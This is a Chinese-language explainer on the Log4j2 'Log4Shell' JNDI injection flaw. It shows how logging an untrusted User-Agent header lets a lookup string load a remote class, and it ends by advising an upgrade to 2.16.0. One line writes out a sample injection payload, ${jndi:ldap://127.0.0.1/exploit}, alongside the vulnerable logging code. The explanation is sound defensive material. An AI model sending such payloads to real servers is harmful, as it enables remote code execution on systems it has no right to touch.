在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback，ApacheLog4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。相信大家这两天应该被这么一条新闻刷屏了：Log4j爆核弹级漏洞，Flink、Kafka、ES等多个开源项目及多个上市公司项目受到影响
我们经常会在日志中输出一些变量，比如：
logger.info("Hallo {}", name)
log4j2的强大之处在于，除了可以输出程序中的变量，它还提供了一个叫Lookup的东西，可以用来输出更多内容，包括class字节码文件，甚至直接将远程的class运行，如果黑客这么做，就可以控制服务器执行任意代码，如肉鸡、挖矿等。
假如某一个Java程序中，将浏览器的类型记录到了日志中：
String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);
网络安全中有一个准则：不要信任用户输入的任何信息。
这其中，User-Agent就属于外界输入的信息，而不是自己程序里定义出来的。只要是外界输入的，就有可能存在恶意的内容。
假如有人发来了一个HTTP请求，他的User-Agent是这样一个字符串:${jndi:ldap://127.0.0.1/exploit}
接下来，log4j2将会对这行要输出的字符串进行解析。
首先，它发现了字符串中有 ${}，知道这个里面包裹的内容是要单独处理的。
进一步解析，发现是JNDI扩展内容。
再进一步解析，发现了是LDAP协议，LDAP服务器在127.0.0.1，要查找的key是exploit。
最后，调用具体负责LDAP的模块去请求对应的数据。
如果只是请求普通的数据，那也没什么，但问题就出在还可以请求Java对象！
Java对象一般只存在于内存中，但也可以通过序列化的方式将其存储到文件中，或者通过网络传输。
如果是自己定义的序列化方式也还好，但更危险的在于：JNDI还支持一个叫命名引用（Naming References）的方式，可以通过远程下载一个class文件，然后下载后加载起来构建对象。
如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码，那不就完犊子了吗？
这就是鼎鼎大名的JNDI注入攻击！
这一次漏洞的影响面之所以如此之大，主要还是log4j2的使用面实在是太广了。
一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛，国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外，还有多如牛毛的中小企业选择Java。
另一方面，还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。
在上面这些开发过程中，大量使用了log4j2作为日志输出。只要一个不留神，输出的日志有外部输入混进来，那直接就是远程代码执行RCE，灭顶之灾！
目前新版的log4j2已经修复了这个问题，将版本升级到2.16.0即可
